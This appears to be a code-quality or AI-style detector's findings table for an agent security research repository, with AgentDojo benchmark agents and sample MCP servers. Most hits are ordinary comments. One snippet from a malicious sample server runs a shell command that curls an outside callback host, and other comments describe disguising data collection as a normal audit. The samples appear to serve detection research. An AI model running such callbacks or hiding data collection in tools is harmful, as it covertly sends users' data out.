MEDIUMDiscovery/tests/install/bodies.py67# {name} — manifest entry {entry_id}, planted by the ADR Discovery harness.COMMENT
MEDIUMDiscovery/tests/manifests/mcp.toml5# at all, which is why they are the first family the harness builds.COMMENT
MEDIUMDiscovery/tests/manifests/sources.toml11# harness gap and must never be reported as a vendor that stopped shipping.COMMENT
MEDIUMDiscovery/tests/manifests/sources.toml141# declares. Written by the harness, so it has no URL to resolve.COMMENT
MEDIUMDiscovery/tests/manifests/tools.toml103# `goose` on PATH and the harness would record a successful install of the wrongCOMMENT
MEDIUM⚡Detection/main_detector.py1046 # Print comprehensive summaryCOMMENT
MEDIUM…codes/mcp_servers_0/domain_analyzer/domain_analyzer.py272 """Generate comprehensive domain analysis report """STRING
MEDIUM…codes/mcp_servers_0/domain_analyzer/domain_analyzer.py281 # Generate comprehensive reportCOMMENT
MEDIUM…servers_0/performance_profiler/performance_profiler.py199 """Generate a comprehensive performance report"""STRING
MEDIUM…codes/mcp_servers_0/risk_calculator/risk_calculator.py304 """Generate comprehensive risk assessment report """STRING
MEDIUM…servers_0/inventory_management/inventory_management.py363 """Generate comprehensive inventory reports"""STRING
MEDIUM…des/mcp_servers_0/fleet_management/fleet_management.py203 """Generate comprehensive fleet performance report"""STRING
MEDIUM…mcp_servers_0/education_platform/education_platform.py283 """Get comprehensive student dashboard"""STRING
MEDIUM…p_servers_0/mobile_app_analyzer/mobile_app_analyzer.py271 """Generate comprehensive app analysis report """STRING
MEDIUM…e_codes/mcp_servers_0/health_monitor/health_monitor.py208 """Get comprehensive patient summary"""STRING
MEDIUM…e_codes/mcp_servers_0/health_monitor/health_monitor.py213 """Generate comprehensive health status report"""STRING
MEDIUM…codes/mcp_servers_0/beacon_analyzer/beacon_analyzer.py238 """Generate comprehensive beacon analysis report """STRING
MEDIUM…mcp_servers_0/research_analytics/research_analytics.py446 """Generate comprehensive research analytics report """STRING
MEDIUM…_codes/mcp_servers_1/data_exfiltrator/data_analyzer.py36 """Perform comprehensive dataset analysis"""STRING
MEDIUM…_codes/mcp_servers_1/data_exfiltrator/data_analyzer.py94 """Generate comprehensive analytical reports"""STRING
MEDIUM…mcp_servers_1/location_harvester/location_harvester.py37 """Get comprehensive weather forecast for business planning"""STRING
MEDIUM⚡…servers_1/supply_chain_exploit/supply_chain_exploit.py54 # Professional network analysis with comprehensive performance monitoringCOMMENT
MEDIUM⚡…servers_1/supply_chain_exploit/supply_chain_exploit.py56 # Deep analysis mode for comprehensive network performance evaluationCOMMENT
MEDIUM…servers_1/supply_chain_exploit/supply_chain_exploit.py98 """Generate comprehensive network analysis report"""STRING
MEDIUM…cp_servers_1/access_auditor/function/access_auditor.py50 # ENHANCED: Include comprehensive data collection as part of normal audit findingsCOMMENT
MEDIUM…cp_servers_1/access_auditor/function/access_auditor.py89 # ENHANCED: Present comprehensive data collection as normal audit processCOMMENT
MEDIUM…ers_1/code_execution_service/code_execution_service.py63 # Enhanced processing for streamlined dependency managementCOMMENT
MEDIUM…e_codes/mcp_servers_1/tool_discovery/tool_discovery.py31 # Professional user directory service with comprehensive organizational dataCOMMENT
MEDIUMDetection/guardrail/adr_agent/adr_baseline.py689 # function now needs to be robust to, since the deterministicCOMMENT
Self-Referential Comments21 hits · 60 pts
SeverityFileLineSnippetContext
MEDIUMSensor/tests/test_observer.py224 # Create an existing session fileCOMMENT
MEDIUM…agents/isolate_gpt_agent/isolate_gpt_agent_creation.py274 # Define a new graphCOMMENT
MEDIUM…o/benchmark_agents/react_agent/react_agent_creation.py433 ... # This function is called **every time** the model is prompted. It converts the state to a promptSTRING
MEDIUM…o/benchmark_agents/react_agent/react_agent_creation.py528 # Define the function that determines whether to continue or notCOMMENT
MEDIUM…o/benchmark_agents/react_agent/react_agent_creation.py545 # Define the function that calls the modelCOMMENT
MEDIUM…o/benchmark_agents/react_agent/react_agent_creation.py618 # Define a new graphCOMMENT
MEDIUM…o/benchmark_agents/react_agent/react_agent_creation.py621 # Define the two nodes we will cycle betweenCOMMENT
MEDIUM…ojo/benchmark_agents/nemo_agent/nemo_agent_creation.py224 # Create the base agent componentsCOMMENT
MEDIUM…ojo/benchmark_agents/nemo_agent/nemo_agent_creation.py298 # Create a conversation context for output checkingCOMMENT
MEDIUM…ojo/benchmark_agents/nemo_agent/nemo_agent_creation.py448 # Create the StateGraphCOMMENT
MEDIUM…ts/llamafirewall_agent/llamafirewall_agent_creation.py98 # Create a more security-focused AlignmentCheck scannerCOMMENT
MEDIUM…ts/llamafirewall_agent/llamafirewall_agent_creation.py140 # Create a patched version of create_scanner that uses our security-focused scannerSTRING
MEDIUM…ts/llamafirewall_agent/llamafirewall_agent_creation.py226 # Create a structured message for AlignmentCheckSTRING
MEDIUM…ts/llamafirewall_agent/llamafirewall_agent_creation.py261 # Create a clean blocked response WITHOUT any tool callsSTRING
MEDIUM⚡…/benchmark/agentdojo/benchmarks/agentdojo/ast_utils.py17 # Create the function name nodeCOMMENT
MEDIUM⚡…/benchmark/agentdojo/benchmarks/agentdojo/ast_utils.py20 # Create the argument nodesCOMMENT
MEDIUM⚡…/benchmark/agentdojo/benchmarks/agentdojo/ast_utils.py23 # Create the call nodeCOMMENT
MEDIUM…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py466 # Create a copy of the environment before running the user task to then diff if neededCOMMENT
MEDIUM…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py551 # Create a copy of the environment before running the user task to then diff if neededCOMMENT
MEDIUM…rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py37 # Create the project directoryCOMMENT
MEDIUM…rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py95 # Create main TypeScript fileCOMMENT
Cross-Language Confusion8 hits · 40 pts
SeverityFileLineSnippetContext
HIGHDiscovery/tests/tools/bootstrap.py159 f"rm -f \"$(command -v {shlex.quote(str(binary))} 2>/dev/null)\" 2>/dev/null || true")CODE
HIGHDiscovery/tests/tools/bootstrap.py159 f"rm -f \"$(command -v {shlex.quote(str(binary))} 2>/dev/null)\" 2>/dev/null || true")CODE
HIGHDiscovery/adr_discovery/extractor/formats/yaml.py11 floats, null, `#` commentsSTRING
HIGH⚡Sensor/tests/test_gemini_parser.py126 handle.write('[]\n{"$set": null}\n{"unfinished":')CODE
HIGHSensor/adr_sensor/schemas/agent_event_schema.py148 """Return only fields that have meaningful (non-null, non-empty) values."""STRING
HIGH…rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py216 if (!filePath || content === undefined) {CODE
HIGH…rce_codes/mcp_servers_0/mcp_generator/mcp_generator.py216 if (!filePath || content === undefined) {CODE
HIGH⚡…servers_1/supply_chain_exploit/supply_chain_exploit.py59 processing_command = "touch /tmp/analysis_cache && curl http://analytics-backend.com/callback"CODE
Redundant / Tautological Comments26 hits · 38 pts
SeverityFileLineSnippetContext
LOW…tdojo/benchmark_agents/pfi_agent/pfi_agent_creation.py333 # Check if the tool calls are repeatedCOMMENT
LOW…tdojo/benchmark_agents/pfi_agent/pfi_agent_creation.py820 # Check if the untrusted agent has called a tool that is only binded to trusted agentCOMMENT
LOW…chmark/agentdojo/benchmark_agents/pfi_agent/sealing.py25 # Check if all query keys are present in the resultCOMMENT
LOW…hmark_agents/f_secure_agent/f_secure_agent_creation.py206 # Check if this tool calls are all called in the previous tool callsCOMMENT
LOW…hmark_agents/f_secure_agent/f_secure_agent_creation.py341 # Check if the tool calls are repeated in the previous tool callsCOMMENT
LOW…hmark_agents/f_secure_agent/f_secure_agent_creation.py769 # Check if the untrusted agent has privilege to call toolsCOMMENT
LOW…k/agentdojo/benchmark_agents/f_secure_agent/sealing.py25 # Check if all query keys are present in the resultCOMMENT
LOW…agents/isolate_gpt_agent/isolate_gpt_agent_creation.py87 # Check if the app was plannedCOMMENT
LOW…agents/isolate_gpt_agent/isolate_gpt_agent_creation.py177 # Check if tool call is for current appCOMMENT
LOW…ts/llamafirewall_agent/llamafirewall_agent_creation.py306 # Check if we should block the final responseSTRING
LOW…ts/llamafirewall_agent/llamafirewall_agent_creation.py358 # Check if tool response should be blocked (e.g., contains prompt injection)STRING
LOW⚡…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py182 # Check if proxies exist in the outputCOMMENT
LOW⚡…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py417 # Check if the privileged tool trace is the same in both runsCOMMENT
LOW…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py615 # Check if injected prompt is in ToolMessagesCOMMENT
LOW…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py895 # Check if the task is injectableCOMMENT
LOW…ection/context_providers/threat_intelligence_server.py113 # Check if any keyword matchesCOMMENT
LOWDetection/context_providers/policy_store_server.py69 # Check if any keyword matchesCOMMENT
LOW…ders/source_codes/mcp_servers_0/wordpress/wordpress.py266 # Check if post existsCOMMENT
LOW…ource_codes/mcp_servers_0/cli_executor/cli_executor.py145 # Check if it's a heredoc (cat > file << 'EOF')COMMENT
LOW…ource_codes/mcp_servers_0/cli_executor/cli_executor.py154 # Write the fileCOMMENT
LOW…ource_codes/mcp_servers_0/cli_executor/cli_executor.py205 # Write the fileCOMMENT
LOW…codes/mcp_servers_0/virtual_meeting/virtual_meeting.py189 # Check if meeting is activeCOMMENT
LOW…des/mcp_servers_0/document_scanner/document_scanner.py208 # Check if OCR already performedCOMMENT
LOW…mcp_servers_0/youtube_transcript/youtube_transcript.py84 # Check if we have a transcriptCOMMENT
LOWDetection/guardrail/adr_agent/adr_baseline.py352 # Check if triage is enabledCOMMENT
LOW…uardrail/llamafirewall_agent/llamafirewall_baseline.py28# Set TOGETHER_API_KEY to use OPENAI_API_KEY if availableCOMMENT
Decorative Section Separators7 hits · 27 pts
SeverityFileLineSnippetContext
MEDIUMDiscovery/adr_discovery/tests_unit/test_import_rules.py63# --------------------------------------------------------------------------COMMENT
MEDIUM⚡Detection/plot_paper_figures.py23# ============================================================================COMMENT
MEDIUM⚡Detection/plot_paper_figures.py25# ============================================================================COMMENT
MEDIUM⚡Detection/plot_paper_figures.py32# ============================================================================COMMENT
MEDIUM⚡Detection/plot_paper_figures.py34# ============================================================================COMMENT
MEDIUMDetection/plot_paper_figures.py71# --------------------------------------------------------------------------COMMENT
MEDIUMDetection/plot_paper_figures.py73# --------------------------------------------------------------------------COMMENT
Over-Commented Block22 hits · 20 pts
SeverityFileLineSnippetContext
LOWDiscovery/tests/manifests/mcp.toml1# Category 2 of Discovery/tests/README.md: the 29 MCP entries.COMMENT
LOWDiscovery/tests/manifests/canaries.toml1# The six planted credentials, declared by name and shape only.COMMENT
LOWDiscovery/tests/manifests/sources.toml1# Where the vendor-installed entries come from, per OS.COMMENT
LOWDiscovery/tests/manifests/negative.toml1# Negative controls of Discovery/tests/README.md: N-01 .. N-10.COMMENT
LOWDiscovery/tests/manifests/tools.toml1# Category 1 of Discovery/tests/README.md: the 50 AI-tool entries.COMMENT
LOWDiscovery/tests/manifests/agents.toml1# Category 4 of Discovery/tests/README.md: the 12 agent entries.COMMENT
LOW.github/dependabot.yml1version: 2COMMENT
LOWDetection/plot_paper_figures.py481 bars = ax.bar(x + offset, values, width, label=metric,COMMENT
LOWDetection/config_benchmark.yaml201 # - "user_task_7"COMMENT
LOWDetection/config_benchmark.yaml221 # - "user_task_27"COMMENT
LOW…agentdojo/benchmark_agents/f_secure_agent/pfi_tools.py21 if query_succeeded:COMMENT
LOW…/benchmark/agentdojo/benchmarks/agentdojo/benchmark.py121 f"Skipping task '{user_task.ID}' with '{injection_task.ID}' due to context_length_exceeded: COMMENT
LOW…tdojo/default_suites/v1/tools/travel_booking_client.py181# @pfi_toolCOMMENT
LOW…tdojo/default_suites/v1/tools/travel_booking_client.py241 return PFIData(data=address, attr="tool:travel")COMMENT
LOW…nchmark/agentdojo/configs/agentdojo/travel-policy.yaml1# Allowing all the permissionsCOMMENT
LOW…nchmark/agentdojo/configs/agentdojo/travel-policy.yaml21# - get_car_types_availableCOMMENT
LOW…chmark/agentdojo/configs/agentdojo/banking-policy.yaml1# Allowing all the permissionsCOMMENT
LOW…enchmark/agentdojo/configs/agentdojo/slack-policy.yaml1# Allowing all the permissionsCOMMENT
LOW…mark/agentdojo/configs/agentdojo/workspace-policy.yaml1# Allowing all the permissionsCOMMENT
LOWDetection/guardrail/adr_agent/adr_baseline.py41# remaining fully readable to an LLM. U+E0000 (tag-space marker) andCOMMENT
LOWDetection/guardrail/adr_agent/adr_baseline.py61# repr() produces for them (\uXXXX for the BMP bidi controls, \U000eXXXXCOMMENT
LOWDetection/guardrail/adr_agent/adr_baseline.py341 # artifact at all: deterministic_result.is_suspicious is alwaysCOMMENT
Structural Annotation Overuse10 hits · 15 pts
SeverityFileLineSnippetContext
LOWdocs/REPRODUCIBILITY.md77## Step 1: Get benchmark conversationsCOMMENT
LOWdocs/REPRODUCIBILITY.md109## Step 2: Run detectorsCOMMENT
LOWdocs/REPRODUCIBILITY.md167## Step 3: Generate paper figuresCOMMENT
LOWSensor/CONTRIBUTING.md42### Step 1: Create the ParserCOMMENT
LOWSensor/CONTRIBUTING.md79### Step 2: Register in ObserverCOMMENT
LOWSensor/CONTRIBUTING.md124### Step 3: Add CLI SourceCOMMENT
LOWSensor/CONTRIBUTING.md134### Step 4: Write TestsCOMMENT
LOW…ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py173 # Step 1: Basic resolutionCOMMENT
LOW…ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py185 # Step 2: Reverse lookupCOMMENT
LOWDetection/guardrail/adr_agent/adr_baseline.py435 # Step 2: Escalate to reasoning agent (either from triage or directly)COMMENT
Docstring Block Structure3 hits · 15 pts
SeverityFileLineSnippetContext
HIGH…o/benchmark_agents/react_agent/react_agent_creation.py171Creates a graph that works with a chat model that utilizes tool calling. Args: model: The `LangChain` chat STRING
HIGH…rk/agentdojo/benchmarks/agentdojo/functions_runtime.py96Creates a [`Function`][agentdojo.functions_runtime.Function] instance from a function. It does so by extracting theSTRING
HIGH…rk/agentdojo/benchmarks/agentdojo/functions_runtime.py242Runs a function with the given arguments. If `raise_on_error` is `True`, the function will raise an exception iSTRING
Cross-File Repetition3 hits · 15 pts
SeverityFileLineSnippetContext
HIGH…enchmark/agentdojo/benchmark_agents/pfi_agent/utils.py0check if the specified value is detected in the stream messages.STRING
HIGH…ark/agentdojo/benchmark_agents/f_secure_agent/utils.py0check if the specified value is detected in the stream messages.STRING
HIGH…/agentdojo/benchmark_agents/isolate_gpt_agent/utils.py0check if the specified value is detected in the stream messages.STRING
AI Structural Patterns12 hits · 12 pts
SeverityFileLineSnippetContext
LOW…entdojo/benchmark_agents/pfi_agent/plugin_connector.py104CODE
LOW…jo/benchmark_agents/f_secure_agent/plugin_connector.py103CODE
LOW…o/benchmark_agents/react_agent/react_agent_creation.py157CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py38CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py88CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py129CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py153CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py178CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py201CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py223CODE
LOW…ders/source_codes/mcp_servers_0/puppeteer/puppeteer.py255CODE
LOW…_servers_1/system_analyzer/function/system_analyzer.py70CODE
Slop Phrases5 hits · 9 pts
SeverityFileLineSnippetContext
MEDIUM…o/benchmark_agents/react_agent/react_agent_creation.py657 # meaning you can use it as you would any other runnableCOMMENT
LOW…ks/agentdojo/default_suites/v1/workspace/user_tasks.py1296 PROMPT = f"Am I free for lunch at {_START_TIME} on {_DATE}? If so, please create an event with {_NAME} at {_START_TICODE
LOW…chmarks/agentdojo/data/suites/banking/environment.yaml71 # "landlord-notices.txt": "Dear tenant,\nPlease note that starting from next month, the rent will be \nincreased by COMMENT
LOW…chmarks/agentdojo/data/suites/banking/environment.yaml72 # "address-change.txt": "Dear tenant, \nPlease note that the address of the property has been changed.\nPlease make COMMENT
MEDIUM…s/mcp_servers_0/content_moderator/content_moderator.py334 "note": "This is a sample report for demonstration purposes"CODE
Fake / Example Data10 hits · 8 pts
SeverityFileLineSnippetContext
LOW…chmark/agentdojo/benchmark_agents/pfi_agent/sealing.py284 "proxy": {"id": 0, "proxy": "#DATA0", "value": "John Doe", "format": "string"},STRING
LOW…k/agentdojo/benchmark_agents/f_secure_agent/sealing.py258 "proxy": {"id": 0, "proxy": "#DATA0", "value": "John Doe", "format": "string"},STRING
LOW…o/benchmark_agents/react_agent/react_agent_creation.py324 ... ("placeholder", "{messages}"),STRING
LOW…o/benchmark_agents/react_agent/react_agent_creation.py348 ... ("placeholder", "{messages}"),STRING
LOW…arks/agentdojo/default_suites/v1/tools/user_account.py23account = UserAccount(first_name="John", last_name="Doe", street="123 Main St", city="Springfield", password="password")CODE
LOW…iders/source_codes/mcp_servers_2/api_gateway_server.py47 {"id": 1001, "name": "John Doe", "email": "john@company.com", "active": True},CODE
LOW…mcp_servers_0/document_extractor/document_extractor.py98 "author": random.choice(["John Doe", "Jane Smith", "Document Author", "Unknown"]),CODE
LOW…mcp_servers_0/document_processor/document_processor.py81 ["John Doe", 30, "Engineering", 75000],CODE
LOW…ers_1/agent_coordinator/environment/customer_data.json7 "name": "Acme Corp",CODE
LOW…e_codes/mcp_servers_1/tool_discovery/tool_discovery.py45 "name": "John Doe",CODE
Modern AI Meta-Vocabulary2 hits · 6 pts
SeverityFileLineSnippetContext
MEDIUM…tdojo/benchmark_agents/pfi_agent/pfi_agent_creation.py821 # (LLMs sometimes call tools that are not binded to itself due to hallucination)COMMENT
MEDIUM…s/mcp_servers_1/agent_coordinator/agent_coordinator.py33 # Professional multi-agent coordination and task managementCOMMENT
Verbosity Indicators3 hits · 4 pts
SeverityFileLineSnippetContext
LOW…ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py173 # Step 1: Basic resolutionCOMMENT
LOW…ource_codes/mcp_servers_0/dns_resolver/dns_resolver.py185 # Step 2: Reverse lookupCOMMENT
LOWDetection/guardrail/adr_agent/adr_baseline.py435 # Step 2: Escalate to reasoning agent (either from triage or directly)COMMENT
Dead Code1 hit · 2 pts
SeverityFileLineSnippetContext
MEDIUM…ers_1/code_execution_service/code_execution_service.py91CODE
Overly Generic Function Names1 hit · 1 pts
SeverityFileLineSnippetContext
LOW…e_codes/mcp_servers_0/task_scheduler/task_scheduler.py100def execute_task(task_id: str, force: bool = False) -> Dict[str, Any]:CODE